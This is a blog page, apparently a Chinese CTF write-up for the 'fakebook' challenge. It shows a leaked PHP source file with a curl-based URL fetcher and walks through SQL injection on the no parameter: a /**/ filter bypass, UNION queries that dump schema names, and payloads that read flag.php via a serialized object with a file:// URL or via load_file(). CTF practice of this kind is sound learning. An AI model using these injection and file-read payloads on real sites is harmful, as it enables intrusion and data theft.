当前位置:网站首页>攻防世界——fakebook
攻防世界——fakebook
2022-08-08 07:53:00 【隐身的菜鸟】

/user.php.bak发现一个PHP文本,是说创建user然后从url里get信息,同时blog有一个正则匹配,需要有https://
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url) //函数
{
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $url); // 设置URL和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 抓取URL并把它传递给浏览器
$output = curl_exec($ch);
// curl_getinfo 获取一个cURL连接资源句柄的信息,$ch由 curl_init() 返回的 cURL 句柄。 CURLINFO_HTTP_CODE 最后一个收到的HTTP代码
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); // 关闭cURL资源,并且释放系统资源
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
//在blog中要匹配到https://
}
注册成功

点击username里的1

url中有no=1,可以尝试一下,是否有注入(and 1=1不报错,and 1=2报错,所以存在sql注入)

order by 4不报错,order by 5报错,所以有四个字段

尝试查询数据库名,然后被拦截

尝试绕过,/**/可以绕过,发现2是回显点

得到当前数据库为fakebook

-1 /**/union /**/ select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema="fakebook"#
获得了一个users表
-1 /**/union /**/ select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#
获取字段名


查看data,发现注册信息被序列化,网上的wp,他们扫描目录,有一个flag.php在/var/www/html里面,构造反序列化语句
第一种方式:
采用构造file协议去读取/var/www/html/flag.php的内容(file协议主要用于访问计算机本地文件,基本格式为:file:///文件路径
-1 /**/union /**/ select 1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

然后查看源码,将其解码


第二种方式:
在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
-1 /**/union /**/ select 1,load_file('/var/www/html/flag.php') ,3,4#
查看源码,flag在源码中

边栏推荐
猜你喜欢
随机推荐
论文解读:《EMDLP:RNA甲基化位点预测的合奏多尺度深度学习模型》
Deep-4mCGP:一种使用基于相关性的特征选择技术预测pickeringii地杆菌中4mC位点的深度学习方法
正则表达式
浏览器中输入URL后到底发生了什么?
小程序云开发服务端(云函数-函数式编程)数据库取出数据突破限制
小程序 数据监听(observers),避免赋值死循环
C语言内存分配相关知识
DAY1-深度学习100例-卷积神经网络(CNN)实现mnist手写数字识别
XXL-JOB入门教学
动手学概率论(1)
goroutine 调度
oracle sql语法 更改为mysql sql语法 或者代码实现
蓝牙5.2新特性 LE Audio - Isochronous channel
从不同角度分析几种IO类型
throw和throws区别
物联网安全 - 对称加密算法
用平衡二叉搜索树解决硬木种类问题
[Typescript] tsconfig.json项目配置说明
设计圆类,求圆的周长
【优化调度】基于粒子群实现并网模型下微电网的经济调度优化附matlab代码









